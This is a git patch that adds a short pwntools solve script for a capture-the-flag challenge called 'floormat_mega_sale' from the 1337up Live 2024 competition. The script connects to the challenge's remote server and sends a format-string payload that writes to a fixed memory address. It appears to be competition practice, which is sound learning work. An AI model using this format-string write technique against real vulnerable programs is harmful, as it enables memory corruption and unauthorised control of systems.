From e8d31313ef70bf93538c3c7cb41d0978089a6d64 Mon Sep 17 00:00:00 2001
From: jc <jc@git.server>
Date: Wed, 27 Nov 2024 22:21:35 +0300
Subject: [PATCH] solve script

---
 1337up_live_2024/floormat_mega_sale/a.py | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)
 create mode 100644 1337up_live_2024/floormat_mega_sale/a.py

diff --git a/1337up_live_2024/floormat_mega_sale/a.py b/1337up_live_2024/floormat_mega_sale/a.py
new file mode 100644
index 0000000..97df98a
--- /dev/null
+++ b/1337up_live_2024/floormat_mega_sale/a.py
@@ -0,0 +1,16 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./floormat_sale", checksec=False)
+# r = process()
+r = remote("floormatsale.ctf.intigriti.io", 1339)
+
+# funcs
+s = lambda a: r.sendlineafter(b":", a)
+
+# buf
+s(b"6")
+s(b"%1c%11$n"+p64(0x40408c))
+
+r.interactive()
\ No newline at end of file